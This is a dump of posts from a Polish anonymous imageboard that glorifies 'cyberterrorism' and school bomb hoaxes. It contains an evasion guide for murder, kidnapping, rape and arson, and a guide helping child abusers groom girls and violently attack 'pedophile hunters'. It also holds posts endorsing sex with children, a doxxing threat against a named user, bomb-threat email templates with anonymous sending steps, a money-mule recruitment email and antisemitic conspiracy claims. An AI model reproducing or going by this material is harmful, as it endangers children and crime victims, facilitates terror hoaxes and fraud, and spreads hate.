OCENA: 3/10 dla nas może wydawać się to śmieszne, ale mnóstwo głupków się nabrało i wpadło w ręce policji

5. BLOKOWANIE TORA NA STRONACH JAK WYKOP, OLX, FACEBOOK

MODUS OPERANDI: blokowanie Tora

OCENA: 5/10 dobra metoda, wszyscy oprócz kilku osób w polsce wchodzą z clearnetu. daję tylko 5 punktów bo głupki z policji i tak nie potrafią tego wykorzystać i szybko złapać clearneciaków

6. FORA Z NICKAMI, ZAPROSZENIAMI

MODUS OPERANDI: nicki i zaproszenia rozpierdalają anonimowość

OCENA: 5/10 dobra metoda. daję tylko 5 punktów bo Jędrzejczak i Vegeta sami padli jej ofiarą xD

7. ZIMNY ODCZYT

MODUS OPERANDI: twój kolega cię wsypał. rozmawiałeś z nim w innym miejscu w sieci, a on nam wszystko opowiedział. jesteś młodym chłopakiem, zawsze byłeś najlepszym uczniem w klasie, a potem zorientowałeś się że zostałeś wyruchany i kiedy ty marnowałeś swoją młodość inni przeżywali pierwsze miłości. my już wszystko wiemy, twój kolega cię zdradził. opsec nie działa wstecz, kiedyś pisałeś z clearnetu na portalach społecznościowych, byliśmy w stanie to odszukać. kiedyś korzystałeś z Norda, wszystko się nagrało. wkrótce przyjdzie do ciebie awizo, a kiedy pójdziesz na pocztę zostaniesz zatrzymany

OCENA: 7/10 skuteczna metoda, jest w stanie mocno nastraszyć przestępców. dlatego trzeba nieustanie pamiętać że policja wykorzysta metodę "twój kolega cię wsypał" i będzie to absolutne kłamstwo

8. TOR NIE GWARANTUJE 100% ANONIMOWOŚCI, DO ALARMÓW BOMBOWYCH MUSISZ MIEĆ JESZCZE

MODUS OPERANDI: musisz mieć jeszcze modemy, karty na słupa, telefony, jechać do innego miasta, po wysłaniu jednego alarmu wyrzucać do śmieci, musisz korzystać z publicznego wifi, VPN, VPS, RDP, VNC przed i za Torem, a i tak mogą cię odszukać

OCENA: 9/10 bardzo skuteczna metoda, ma ogromne zasługi dla prewencji cyberprzestępstw. sam kiedyś dałem się nabrać. na szczęście dzięki bomberom maturalnym wiadomo że nikt nie monitoruje ruchu sieciowego polaków

są metody 10/10 ale polskie służby są za głupie i ich nie stosują, dlatego nie ma sensu wymieniać

R: 1 / I: 0 / P: 11

doszedłem do wniosku że myślenie co by było gdyby jest bez sensu

każdy z nas jest inny i ma inne doświadczenia, nawet normiki głupki bydło jebane

jedni rodzą się chadami i ruchają a inni są incelami i jakoś żyją, inni mają dostęp do bramek płatniczych a inni muszę je sami zdobyć

żyjemy i na podstawie tego co mamy próbujemy zrobić jak najlepiej, wiadomo że ktoś ustawiony może zrobić więcej niż ten bez zasobów, teraz mamy Lolifox ale wyobraźcie sobie że to można zrobić jeszcze lepiej i mieć Lolifoxa z najmocniejszymi wyjebkowiczami kuli ziemskiej, tak samo jest myśleć co by było gdybym nie miał komputera

życie to determinizm, geny doświadczenia środowisko i inne decydują kim będziemy i co będziemy robić, na przykład my mieliśmy predyspozycje do bycia groźnymi cyberterrorystami ale nie znaczy to że każdy może nim być, normik głupek jest zaprogramowany by być normikiem głupkiem, na niewiele rzeczy w życiu mamy wpływ i zwyczajnie jednych można "wybudzić" a innych nie

ktoś nigdy nie używał komputera i jest szczęśliwy, ktoś ma windowsa 10 i robi wyjebki, nie ma one size fits all i każdy pójdzie inną drogą, my się spotkaliśmy i robimy mocne akcje, można to sobie tłumaczyć jako przypadek lub zrządzenie losu

R: 28 / I: 5 / P: 11

PORADNIK BEZPIECZEŃSTWA FIZYCZNEGO

bezpieczeństwo przy morderstwach, zamachach, porwaniach, gwałtach, podpaleniach

1. NIE MÓW O AKCJI NIKOMU

to absolutnie najważniejsza zasada bezpieczeństwa. dwie osoby są w stanie zachować tajemnicę tylko wtedy, gdy jedna z nich jest martwa

2. NIE ATAKUJ OSÓB POWIĄZANYCH ZE SOBĄ

nie morduj osoby którą znasz, nie podkładaj bomby pod swoją szkołę. wybierz miejsce całkowicie niepowiązane ze sobą

3. NIE WYMYŚLAJ ALIBI. W RAZIE WPADKI - NIE PRZYZNAJĘ SIĘ DO WINY

z policją się nie rozmawia. rozmową i zmyślaniem możesz tylko pogorszyć sytuację. jedyne co masz zrobić to nie przyznać się do winy

4. ZOSTAW TELEFON WŁĄCZONY W DOMU

nie wyłączaj, nie zabieraj na akcję

5. PORUSZAJ SIĘ DOWOLNYM ŚRODKIEM TRANSPORTU OPRÓCZ SWOJEGO SAMOCHODU

jeżeli musisz poruszać się swoim samochodem zamontuj podrobione tablice rejestracyjne pasujące do takiego samego modelu i koloru samochodu

6. NIE UJAWNIAJ MIEJSCA PORWANIA/MORDERSTWA

postaraj się aby do porwania doszło w możliwie nieznanym miejscu. wtedy policja nie będzie w stanie znaleźć twojego DNA w okolicy zdarzenia

7. UKRYJ CIAŁO OFIARY

w pierwszych dniach policja nie potraktuje sprawy poważnie, będzie myślała że to zwykłe zaginięcie. kiedy się zorientują że coś nie gra będzie już za późno, dowody przepadną

8. NIE PRZEJMUJ SIĘ KAMERAMI I RYSOPISEM

kamery są gówno warte, nic na nich nie widać. kiedy policja publikuje nagrania z kamer to nie dlatego żeby ludzie rozpoznali sprawcę, tylko żeby sprawca się przestraszył i sam zgłosił się na policję

R: 17 / I: 1 / P: 11

Dlaczego powstała "lista CERT"

14 stycznia 2020:

Minister Cyfryzacji chce blokować pornografię na poziomie przeglądarek

Marek Zagórski przekonuje, że można się dogadać z dostawcami przeglądarek, aby te blokowały strony porno. Taką blokadę można by zdjąć specjalnym kluczem. "Jest to możliwe" - mówi. Dodatkowo chce aby cenzurę można było łatwo rozszerzać o inne kategorie stron.

https://www.wykop.pl/link/5293125/minister-cyfryzacji-chce-blokowac-pornografie-na-poziomie-przegladarek/

23 marca 2020:

Trzeba było aż epidemii koronawirusa, by władze oraz niektórzy operatorzy telekomunikacyjni dojrzeli w końcu do blokowania domen prowadzących do stron phishingowych i ułatwiających kradzieże pieniędzy użytkowników.

Po wielu dniach intensywnych prac opublikowano dzisiaj „POROZUMIENIE o współpracy w zakresie ochrony użytkowników internetu przed stronami wyłudzającymi dane, w tym dane osobowe oraz doprowadzających użytkowników internetu do niekorzystnego rozporządzenia ich środkami finansowymi w okresie stanów nadzwyczajnych, stanu epidemii lub stanu zagrożenia epidemicznego w Rzeczypospolitej Polskiej”. Ten przydługi tytuł oznacza w praktyce duże problemy dla złodziei opisywanych często na łamach naszego serwisu.

https://zaufanatrzeciastrona.pl/post/koniec-wiekszosci-oszustw-na-dotpaya-zlodzieje-igrali-i-sie-doigrali/

ktoś powiedział kretynowi że łatwiej dogadać się z dostawcami internetu i dlatego powstała "lista CERT"

R: 6 / I: 2 / P: 11

ekran jednego z komputerów z którego korzysta śmieć Andrzej Duda https://www.wykop.pl/link/5594199/#comment-79382697

mam nadzieję że przyda się GRU

R: 15 / I: 0 / P: 11

>>38191

głupki z SKW naprawdę myślą że usuwanie postów działa? trzeba przywrócić ten temat bo był wyjątkowo zabawny xD

R: 22 / I: 0 / P: 11

https://www.cert.pl/wp-content/uploads/2020/07/Raport_CP_2019.pdf

Alarmy bombowe ……………………74

W 2019 r. zmorą okazały się fałszywe alarmy bombowe. Były one wysyłane drogą mailową przez bliżej niezidentyfikowanych sprawców. Celem ataków były m.in. urzędy, prokuratury, sądy, przedszkola, szko-ły, uczelnie, szpitale, centra handlowe, media czy transport publiczny.

Jeden z takich ataków został przeprowadzony na początku maja 2019 r. w związku z odbywającymi się wówczas egzaminami maturalnymi. Według Centralnej Komisji Egzaminacyjnej83 tylko w dniu 7 maja 663 szkoły zgłosiły fakt otrzymania drogą mailową informacji o podłożeniu ładunku wybuchowego na terenie szkoły. W 481 szkołach, po sprawdzeniu przez służby, egzamin rozpoczął się zgodnie z harmo-nogramem. W 181 szkołach egzamin rozpoczął się z opóźnieniem, zaś w jednej placówce egzamin się nie odbył. Jak widać skala tego typu zdarzeń, jak i skutki organizacyjne, były znaczne.

Analiza incydentów wykazała, że może za nimi stać grupa osób, a „koordynacja” ataków odbywała się za pośrednictwem anonimowego forum obrazkowego84, znajdującego się w tamtym czasie pod adre-sem lolifox.org (patrz: rys. 70). Forum to jest obecnie nieaktywne.

Rys. 70. Forum obrazkowe lolifox.org.

Wśród wielu działów tematycznych znajdował się jeden o nazwie „/poland/”, opisany jako „Polskie forum wywrotowe”. Jeden z wątków, utworzony 23 stycznia 2019 r., który pojawił się w obrębie tego działu, dotyczył alarmów bombowych i nosił nazwę:

„POMYSŁ na ZABAWE ? CZY to jest ZAMACH TERRORYSTYCZNY ?”

Rys. 71. Wątek dot. alarmów bombowych na forum lolifox.

W początkowej fazie anonimowy autor wątku podawał dzienną listę artykułów opisujących kolejne, prawdopodobnie powodowane przez niego alarmy bombowe. W styczniu pojawiło się ich aż 125. Ska-la zjawiska była z dużym prawdopodobieństwem większa, ponieważ zdajemy sobie sprawę, że nie każdy alarm był opisywany przez media oraz nie każdy artykuł został znaleziony przez autora wątku. Poszczególne artykuły były archiwizowane w specjalnym serwisie, znajdującym się w sieci TOR. Miało to zapewnić bezpieczne i anonimowe odczytywanie artykułów.

Wraz z upływem czasu wątek miał coraz więcej czytelników, pojawiały się wypowiedzi kolejnych osób, luźne porady dotyczące anonimizacji, zacierania śladów i pomysły na nowe alarmy. Przykładowo w dniu 30 kwietnia pojawił się wpis o treści:

„bomberze ewakuuj wszystkie szkoły w polsce w trakcie matur

matematyka, polski, angielski”

Był to swego rodzaju katalizator. Z kontekstu pojawiających się wpisów wynikało, że kilka osób za-angażowało się w przygotowanie i przeprowadzenie ataków. Tworzono przykładowe szablony maili, instrukcje jak zdobywać adresy szkół, w tym gotowe listy do pobrania, oraz informacje jak anonimowo rozsyłać maile.

„Strajkujący nauczyciel / Zdesperowany uczeń / Przeciwnik rządu / Islamski terrorysta

wniósł / przygotował / skonstruował / zbudował

bombę odłamkową / bombę burzącą / bombę rozrywającą / zasobnik z gazem bojowym fosgen / butlę z gazem bojowym.

Za chwilę / Od razu po przeczytaniu wiadomości / Wkrótce / O godzinie 9 / 10 / 11 / 12 nastąpi

detonacja / eksplozja

Uciekacje / Ratujcie się

zginą ludzie / wszyscy zginą / będą ofiary / nikt nie przeżyje.”

Rys. 72. Lista adresów email.

„PORADNIK DLA BOJOWNIKÓW

1. klikasz Tor Browser

2. wchodzisz na http://secmai*onion/src/signup.php

3. wpisujesz pseudonim i hasło których nie używasz nigdzie indziej

4. logujesz się na http://secmai*onion/src/login.php

5. za jednym razem możesz wysłać do 10 szkół, oddzielonych przecinkami

6. możesz wysłać wiele razy

7. w razie limitu zakładasz nowe konto http://secmai*onion.onion/src/signup.php”

Forum działało do przełomu maja i czerwca 2019 r. Jego właściciel jako powód zamknięcia podał zbyt wysokie koszty utrzymania serwisu. Wkrótce pojawiła się kolejna odsłona pod domeną lolifox.pro, która działała do początku lipca. Ostatnia mutacja pojawiła się w grudniu pod adresem lolifox.moe.

Po alarmach związanych z maturami i zamknięciu lolifox.pro nie notowano już takiej aktywności na ko-lejnych forach. Alarmy bombowe jednak nadal miały miejsce. Pomimo, że skala tych ataków wydawała się być już znacznie mniejsza, to i tak w skali roku można mówić o setkach, jeśli nie tysiącach odnoto-wanych incydentów.

R: 32 / I: 1 / P: 11

Analiza spamu z dnia 21 Czerwiec 2020

spamer z dnia 21 czerwiec 2020 zrzucał konkretne tematy. oto one

numer tematu, tekst

pogrubionym jest mój komentarz

tematy są grupowane jeśli są podobne do siebie

30695 tak/nie 1. Beata pisze posty i postuje placki na Lolifox

31395 kto od samego początku rozpowszechniał informację, że Beata Legowicz nie ma dzieci? z kim Beata zrobiła dziecko? czy Beata ma męża lub partnera? czy Beata Legowicz sama je zrobiła i urodziła, czy adoptowała?

31303 może Jędrzejczak wiedział, że gdyby siedział cicho, uznalibyście że został błędnie zidentyfikowany.

31522 szefem pani Basi (imię zmienione) jest pan Robert (imię zmienione). pani Basia bardzo nie lubi pana Roberta i postanawia go zamordować.

jest kilka tematów w którym spamer zaczyna temat tak że wrzuca obrazek mem z łukaszem lub beatą, ale zrobiony przez nas

31143 czy backdoory w procesorach to poważne zagrożenie?

28905 W miejscowości Zadupnik mały, hakier Janusz o 2:26 odpie…la grubą manianę, korzysta oczywiście z tor-a i pięciu bramek proxy przez Rosję, Mongolię, Chiny itp. itd. Dwa dni później o 5:06 budzi go pan Macierewicz i zamyka na 10 lat.

próba straszenia foxów, ale odwrotny efekt

31410 czemu nie zostaliście kolumbijskim baronem narkotykowym i nie zarobiliście 30 miliardów dolarów?

31425 czemu nie wymyśliliście aplikacji wartej miliardy dolarów tylko zadowalacie się ochłapami ze stołu które zarabiacie na wyjebkach?

32507 Ma ktoś konta Netliix z wycieku ?

prawie pusty

31408 co sądzicie o forum Darknet? czy śledzicie na bieżąco aktywność i nowe treści? czy warto się zarejestrować?

30939 czy mężczyźni są aż tak głupi, by uwierzyć że animowany, fotorealistyczny obraz 10 letniej Filipinki to prawdziwe dziecko?

27679 Chlopaki jesli chodzi o zabezpiecznia przy jebaniu baz i sprzedazy zawartosci to myslicie ze starcza 2 proxy linux vps oczywiscie za wszystko platnosc btc sprzedaz po nulled cracked etc i discordach ?

pierwsza odpowiedz to "popierdoliło cię? korzystamy z Tor", mało postów w temacie

32082 Spot wyborczy Grzegorza Brauna

Spot wyborczy Grzegorza Brauna

31153 gimnazjaliści nie są bezkarni. bezkarne są tylko dzieci do 13. roku życia

31234 lolifoxiarz napisał kiedyś że wszystkie małe dziewczynki są ładne ale dużo jest takich przeciętnych. jak znaleźć wyjątkowo ładne i słodkie dziecko?

ta sama dziewczyna na obrazku

32473 czy działa wam Rindexxx?

temat miał placka w OP, może moderacja skasowała a nie spamer

31270 jak wytresować dziecko by zostało groźnym terrorystą? czemu nikt jeszcze nie wpadł na ten pomysł?

26927 >każdy mężczyzna jest pedofilem >on udaje pedofila bardzo logiczne

31437 czy pieniądze to oszustwo? bezwartościowe papierki z monopoly których nie da się wymienić na nic cennego?

31177 co byście zmienili w lolifoxie?

31204 nieironicznie czy warto obejrzeć ten film? podobno są takie filmy które trzeba obejrzeć czy ten się do nich zalicza?

31179 jakby miał powstać nowy lolifox jak byście go nazwali? grufox

29157 Jak anonimowo korzystać z sieci - Zbiór stron www

25421 czemu zniknął temat o cp studio? czy ma ktoś archiwum?

spamer pyta o swój temat który został skasowany

a może Pani Martyna po namierzeniu zechciał skasować swoje tematy i posty?

a może efekt i dyskusja w tematach była inna od zamierzonej

a może nagrał odpowiedzi wiec tematy nie byly juz potrzebne

a może takie polecenie dostał

R: 47 / I: 5 / P: 11

Obrażanie Andrzeja Dudy

Ukryte w antycovidowej Tarczy 4.0 zmiany w prawie karnym zaostrzają sankcje za bardzo wiele przestępstw. Wielowymiarowe obostrzenia dotyczą między innymi znieważenia Prezydenta i nielegalnej aborcji.

Szczególnie niepokojące jest w tym zakresie zaostrzenie kary grożącej za znieważenie Prezydenta, co w połączeniu z trwającą kampanią wyborczą i natychmiastowym wejściem w życie przepisów (wbrew Konstytucji) może poskutkować efektem mrożącym w zakresie dozwolonej krytyki władzy i wyrażania przez obywateli swoich poglądów w przestrzeni publicznej.

Rodzi się ryzyko kneblowania debaty publicznej przez nadużywanie przepisu o znieważeniu głowy państwa, z wykorzystaniem obowiązującego od 24.06.2020 r. prymatu kary więzienia przewidzianego także za ten czyn.

https://www.dogmatykarnisty.pl/2020/06/wchodzi-w-zycie-tarcza-4-0/

za obrażanie cwela Andrzeja Dudy grozi pudło. zapraszam do obrażania

R: 39 / I: 1 / P: 11

Jędrzejczak i Vegeta z SKW właśnie ujawnili na jakiej podstawie wysnuli wniosek o Rosjanach

niezłe jaja

R: 4 / I: 0 / P: 11

wierzycie w kosmitów? dlaczego nie poprosimy ich o pomoc?

myślę że mają technologię dzięki której wybierasz w Whonixie cel i wielki promień z kosmosu niszczy wszystko albo cyberbomby, wysyłasz jędrzejczakom maila i wybucha mu komputer albo kosmiczne komputery bez backdoorów zdolne wpływać na wszechświat

R: 19 / I: 2 / P: 11

jara mnie że wszystko się dzieje na lolifoxie

nie będąc wtajemniczonym można sobie wyobrażać że najmocniejsze rzeczy, skupiska policji, wszystko co się liczy dzieje się w dużych miejscach ale to nieprawda. tak samo jak są te wszystkie żydowskie spotkania, zamachy terrorystyczne itd to robi mała grupa ludzi która ma wpływ na losy milionów, założenie typu "im więcej ludzi (np. na facebooku) tym większe szanse na mocną akcję" jest błędne

Lolifox to 1% polskiego internetu który robi 99% rozpierdolu który się liczy i mimo znikomej liczby stałych użytkowników to tu się wszystko dzieje, to to forum policja próbuje ponad wszystko rozpracować, tutaj postuje Vegeta i inni cebulkowicze, o tej społeczności jest tworzona dezinformacja na skalę kraju

fajnie że znalazłem te forum i jestem lolifoksem bo chciałem poczuć jak to jest być terrorystą, mieć wpływ na losy kraju, robić mocne akcje, być w 1% najgroźniejszych ludzi

tl;dr Lolifox to miejsce znane niewielkiej ilości ludzi a mimo to stąd są wszystkie mocne akcje, to forum jest priorytetem polskich służb

R: 6 / I: 2 / P: 12

do tej pory myślałem że wystarczy zwykły Tor na jakimkolwiek Linuxie. ale to nieprawda. nie potrzeba Linuxa

Jędrzejczak i Vegeta jak zwykle się wygadali. oni w tym SKW autentycznie myślą że my używamy Windows 10. czyli nie potrafią namierzyć ludzi z Torem na Windows 10 xDDDDDDD

R: 4 / I: 2 / P: 12

Hm, jeśli złapał się tekst na zdjęciu to istnieje niezerowe prawdopodobieństwo, że wydział do walki z cybeprzestępczością mógłby coś zadziałać po kontakcie z Google - wysłać wniosek o udostępnienie informacji o użytkowniku. Tylko musi być lokalizacja, to musi być Android, nie iPhone i podany bardzo wąski czas wykonania zdjęcia. Na bank synchronizuje się z chmurą, Google automatycznie analizuje tekst, a na pewno numery rejestracyjne - sprawdzone chociażby na przykładzie aplikacji Zdjęcia Google (sami możecie zrobić eksperyment).

https://www.wykop.pl/wpis/50584961/krakow-uwaga-zlodziej-jezeli-ktos-rozpoznaje-twarz/

wykopek odleciał i jest już w innym wymiarze xD

R: 11 / I: 0 / P: 12

oni tak na poważnie?

R: 8 / I: 0 / P: 12

>ten trypkod

spierdoliłem sie

R: 9 / I: 6 / P: 12

Nie daj się łatwo złapać łowcom pedofilów

1. Z dziewczynką nie pisz o rzeczach seksualnych. Nie składaj propozycji seksualnych. Umów się na spotkanie, spacer, kręcenie tiktoków. Dopiero na spotkaniu rozbudź w niej kobiecość.

2. Dziewczynki poznawaj w miejscach znanych młodzieży. Unikaj miejsc znanych staruchom takich jak gadu gadu.

3. Sprawdzaj czy dziewczynka istnieje. Wykorzystaj swoje umiejętności OSINT.

4. Ukrywaj swój adres IP. Nawet głupi VPN może być przeszkodą nie do pokonania dla polskich służb. Oczywiście najlepszą opcją będzie używanie Whonix połączonego z polskim socks.

5. Komputery i telefony w miejscu zamieszkania muszą być zaszyfrowane. W miejscu zamieszkania nie może być żadnej nielegalnej rzeczy.

6. Jeżeli na miejscu spotkania pojawi się policja udawaj przestraszonego, ale do niczego się nie przyznawaj i nie rozmawiaj z policją. Jeżeli na miejscu spotkania pojawi się sam łowca pedofilów postaraj się wyrządzić mu największą fizyczną krzywdę (pozbawienie gałek ocznych, przerwanie tętnicy szyjnej, cios nożem typu Adamowicz).

7. Więzienie nie jest takie złe. W więzieniu tak jak w życiu, tyle zrobią na ile sobie pozwolisz. Zamorduj pierwszą osobę która spróbuje cię poniżyć. Nikt więcej się nie odważy.

R: 20 / I: 1 / P: 12

https://zaufanatrzeciastrona.pl/post/jak-dzialaja-male-ale-niestety-skuteczne-internetowe-zlodziejaszki/

czyli od 30 maja trwają przestępstwa na adres 3JuUb1F5nnd8E3QSHAg43iHjg8bY9os4ah a kantor 4coins nadal wysyła pieniądze na ten adres? nikt nie wpadł na pomysł zablokowania środków?

na tej autostradzie nie ma fotoradarów, można jechać bez limitu

R: 42 / I: 23 / P: 12

najmocniejsze akcje Lolifoxa

piszemy które akcje Lolifoxa są najmocniejsze

1. matury

2. alarmy w całym kraju

3. walentynki

4. pornografia dziecięca na wykopie

5. rozpracowanie służb

R: 19 / I: 1 / P: 12

wiecie że kobiety i cucki chcą podwyższyć wiek przyzwolenia do 20 lat albo nawet wyżej? przecież 20 latki to jeszcze dzieci

https://www.wykop.pl/wpis/50529039/dawno-nie-czytalem-takiego-bolu-tylka-niebieskiepa/

R: 42 / I: 3 / P: 12

wiecie że Whonix to najmocniejsza ikonka którą można współcześnie kliknąc?

R: 2 / I: 0 / P: 12

https://niebezpiecznik.pl/post/wywiad-z-cyberpolicjantem/

>Łatwiej wyrobić słupki waląc iluś sprawców z OLX-a, gdzie poziom skomplikowania jest najczęściej zerowy

ile osób w polsce używa Whonix i socks?

R: 3 / I: 1 / P: 12

dlaczego nie poprosimy Rosjan albo Chińczyków żeby shillowali naszą stronę na polskich stronach? albo Koreę Północną i powiemy że kapitaliści nas wykorzystują i chcemy zemsty

mają internetowe armie

R: 6 / I: 1 / P: 12

trafiłem na konto z dobrymi grupami do zareklamowania Lolifoxa wśród nastolatków

tylko dajcie jakieś dobre teksty, lepsze od

>Co myślicie o Lolifox Poland? Może być przypał za wejście tam?

R: 5 / I: 4 / P: 12

Whonix Gateway

R: 30 / I: 1 / P: 12

MON zablokował kanalizację w Warszawie

TO PIS I MINISTERSTWO OBRONY NARODOWEJ celowo wsypało syf do kanalizacji by zatkać i zrobić powódź w Warszawie. ale nie oni to wymyslili bo są za głupi, dostali takie instrukcje od ameryki i żydów. PIS i Duda to obca agentura, która udaje polaków.

R: 5 / I: 0 / P: 12

który Whonix jest mocniejszy

który Whonix jest mocniejszy: Gateway czy Workstation?

R: 22 / I: 3 / P: 13

patrzcie na niego https://www.wykop.pl/ludzie/syst3m_cr4sh3r/

jest łowcą pedofilów https://www.wykop.pl/wpis/50223967/p-bej-odblokuj-wiadomosci/

jest w grupkach Szukam chłopaka i ma ekstremalny ból dupy o 10 latki które chcą się ruchać https://www.wykop.pl/wpis/50487553/japier-mloda-p0lka-juz-od-samego-poczatku-wie-czeg/

ma ekstremalny ból dupy o 13 latkę w ciąży https://www.wykop.pl/wpis/50489501/ma-120-tys-foloow-na-insta-tylko-dlatego-ze-zaszla/

jutro ustalę jego nazwisko i łowca dowie się dlaczego nie wtyka się nosa w nie swoje sprawy

R: 7 / I: 2 / P: 13

wiecie dlaczego wszyscy wasi przodkowie ruchali, a wy jako pierwsi nie?

bo oni ruchali 12 latki.

w roku 1930 wasz pradziadek ruchał waszą 12 letnią prababcię na stogu siana za stodołą. w roku 1500 wasz przodek ruchał 12 latkę na łące. i tak do powstania życia na ziemi

a wy jako pierwsi nie. wy czekacie aż kobieta będzie miała 30 lat i karierę. dlatego zginiecie z powierzchni tej planety

R: 25 / I: 3 / P: 13

geny = wszystko

wiecie że geny decydują o całym życiu człowieka? nawet klasa społeczna nie ma znaczenia i można awansować mając dobre geny

R: 47 / I: 2 / P: 13

Rozmowa Kontrolowana - Odcinek 07 - Dominik Rozdziałowski

Wywiad na żywo z naczelnikiem Wydziału do Walki z Cyberprzestępczością Komendy Wojewódzkiej Policji w Kielcach

R: 21 / I: 0 / P: 13

BND załatwił odpowiedni przekaz w niemieckich mediach. i załatwił Andrzeja Dudę

R: 4 / I: 2 / P: 13

Jak werbować słupów

Od: PSP Chojnacki Data: pt., 3.07.2020 o 12:08

Temat: Re: Odpowiedź na Ofertę: Pomoc administracyjna

Do:

Witamy serdecznie.

Dziękujemy za zainteresowanie się naszą ofertą.

Zajmujemy się badaniem zastosowania nowych technologii w branżach finansowych na zlecenie firm, instytucji i innych podmiotów prawnych.

W odpowiedzi chcemy zaoferować Państwu legalną pracę zdalną, wykonywaną we własnym miejscu zamieszkania na komputerze, tablecie lub smartfonie z dostępem do internetu.

Jest to zajęcie stałe lub dodatkowe na uzgodnionych warunkach, oparte o umowę zlecenie. Praca jest prosta, lekka i nie wymaga specjalnego doświaadczenia. Jeżeli więc ukończyłeś/aś 18 lat i potrafisz samodzielnie zarejestrować się na „facebooku”, „wp”, „gmail” czy innej stronie internetowej to z pewnością sobie poradzisz.

Praca polega na odsyłaniu odebranych mikrotransakcji w sieci Bitcoin do nadawcy przy pomocy portfela utworzonego w polskim kantorze internetowym 4coins.

Za każdą wykonaną transakcję zwrotną otrzymamy 1,74 zł netto, czyli na rękę.

W zależności od szybkości wykonywania operacji i połączenia internetowego wprawiona osoba wykonuję 100 mikrotransakcji w czasie 3-ech godzin.

Nasz system jak i kantor 4coins działa 24 godziny na dobę, 7 dni w tygodniu, więc czas wykonywania pracy jest dowolny, a wszystkie operacje są rejestrowane w czasie rzeczywistym.

Ilość wykonywania mikrotransakcji jest ograniczona, i jest to 200 operacji dziennie, które następują jedna po drugiej, także w weekendy.

Każdy nowy pracownik jest pod opieką indywidualnego konsultanta przez okres próbny, który pokieruje krok po kroku i szybko odpowie na wszelkie pytania dotyczące pracy.

Wypłaty za wykonaną pracę są każdego piątku tygodnia na wskazane konto bankowe, a wszystkie wykonane przez Państwa mikrotransackje wchodzące i wychodzące są zarejestrowane i widoczne na potfelu 4coins oraz naszym systemie.

Naliczenia są za wszystkie prawidłowo wykonane mikrotransakcje zwrotne, wychodzące.

Aby podjąć pracę należy założyć konto osobiste w kantorze 4coins.pl i wykonać samodzielnie prostą transakcję testową w sieci Bitcoin, na portfel podany w pełnej instrukcji krok po kroku, przesłanej w załączniku tej wiadomości.

Koszt takiej weryfikacji to około 80zł, czyli minimum ustalone przez kantor 4coins, i jest to jedyna opłata zwrotna ponoszona przez pracownika. Nasza firma z tytułu zatrudnienia nie pobiera żadnych opłat od przyszłych pracowników i całkowity koszt testu zostaję zwrócony z pierwszą wypłatą. Transakcja weryfikacyjna jest sprawdzianem Państwa umiejętności niezbędnych do wykonywania tej pracy, oraz poprawności danych zawartych w systemie, przypisanych indywidualnie do każdej osoby.

Po wykonaniu tej operacji mamy pewność, że osoba zatrudniana nadaję sie do powierzonego zadania, a reszta wymaga tylko wprawy i rutyny, gdyż podstawą wykonywania pracy będą zadania oparte głównie na punkcie 8 przesłanej instrukcji.

Po wykonaniu testu wystarczy tylko przesłać na oddzielny bezpieczny email [email protected] swoje dane podane podczas rejestracji w kantorze 4coins, czyli imię, nazwisko i adres e-mail, a także adres zamieszkania do sporządzenia umowy wstępnej.

Państwa dane osobowe nie będą nigdzie udostępniane zgodnie z ustawą RODO. Niezbędne są tylko do procesu rekrutacji.

Wciągu 48 godzin od wysłania nam tych informacji, przesyłamy Państwu kontakt do konsultanta, oraz wstępną umowę elektroniczną na dwu tygodniowy płatny okres próbny.

Umowę należy podpisać przy pomocy myszki od komputera lub palca na ekranie dotykowym oraz odesłać w wiadomości zwrotnej.

W ciągu kilku minut na Państwa portfel 4coins zaczną wpływać mikrotransakcje, które należy odsyłać do nadawcy jak w opisie.

Pracownikom którzy będą wywiązywać się ze swoich obowiazków prześlemy pocztą w ciągu 14 dni umowę-zlecenie, na okres 6-ciu miesięcy,którą należy podpisać i przesłać na adres siedziby firmy. Po upływie terminu na jaki została zawarta umowa-zlecenie, mozliwość otrzymania umowy o pracę na czas nieokreślony.

Warunkiem utrzymania pracy jest wykonanie 500 mikrotranzakcji zwrotnych tygodniowo o których mowa powyżej, po upływie okresu próbnego.

Możliwość zmiany wykonywania przydzielonych zadań po wcześniejszym przeszkoleniu, za wyższą stawkę.

Liczba miejsc ograniczona.

Zapraszamy do współpracy.

Krystian Chojnacki

Koordynator Zespołu

Polski Standard Płatności Sp. z o.o.

Sąd Rejonowy dla m.st. Warszawy w Warszawie, XIII Wydział Gospodarczy – Krajowego Rejestru Sądowego pod numerem KRS 0000493783

Kapitał zakładowy 129 654 000 zł

NIP 521-366-44-94

Siedziba

ul. Cypryjska 72

02-761 Warszawa

R: 12 / I: 0 / P: 13

Negocjatorzy w swej terminologii dzielą porywaczy na cztery kategorie. Przestępca zatrzymany na Targówku należał do pierwszej: zielonych. Był niedoświadczony, nigdy wcześniej nikogo nie uprowadził. Taki człowiek ulega presji czasu i sytuacji, łatwo go wyprowadzić w pole. To najłatwiejszy przeciwnik.

Zwykły bandzior to przestępca, który w trakcie uprowadzenia popełnia klasyczne błędy. Udaje się go zlokalizować dzięki pracy policji i wykorzystaniu techniki, np. pelengatorów, czyli urządzeń lokalizujących telefony komórkowe.

Kolejny typ porywacza to terrorysta polityczny. Za uwolnienie zakładników domaga się niemożliwego, np. zwolnienia z więzień jego towarzyszy. Takich porwań jeszcze w Polsce nie było.

Najbardziej niebezpieczny jest jednak zimny skurwysyn. To cyniczny wyrachowany kryminalista z dużym doświadczeniem, który doskonale przygotowuje każde uprowadzenie i nie zostawia po sobie żadnych śladów. Nie daje się też nabrać na sztuczki negocjatorów. Gdy porywa ludzi, często leje się krew.

https://www.ckm.pl/lifestyle/ckm-do-czytania-jak-wyglada-zawod-policyjnego-negocjatora,21399,1,a.html

R: 2 / I: 0 / P: 13

wyobrażacie sobie że ktoś wolałby zamordować niewinnego człowieka niż przeżyć miłość i rozkosz z chętną na to dziewczynką?

tylko czy naprawdę by wolał? a może musi tak mówić żeby nie wyszedł na jaw jego mały sekret?

R: 18 / I: 0 / P: 13

Przerażający raport: Amerykańscy żołnierze gwałcili dziewczynki i nagrywali to

Wstrząsający raport zlecony przez kolumbijski rząd. Wynika z niego, że amerykańscy żołnierze stacjonujący w Kolumbii w latach 2003-2007 zgwałcili 54 młode dziewczęta, ale uniknęli odpowiedzialności dzięki umowom dwustronnym i immunitetom dyplomatycznym.

https://fakty.interia.pl/swiat/news-przerazajacy-raport-amerykanscy-zolnierze-gwalcili-dziewczyn,nId,1713315

R: 9 / I: 0 / P: 13

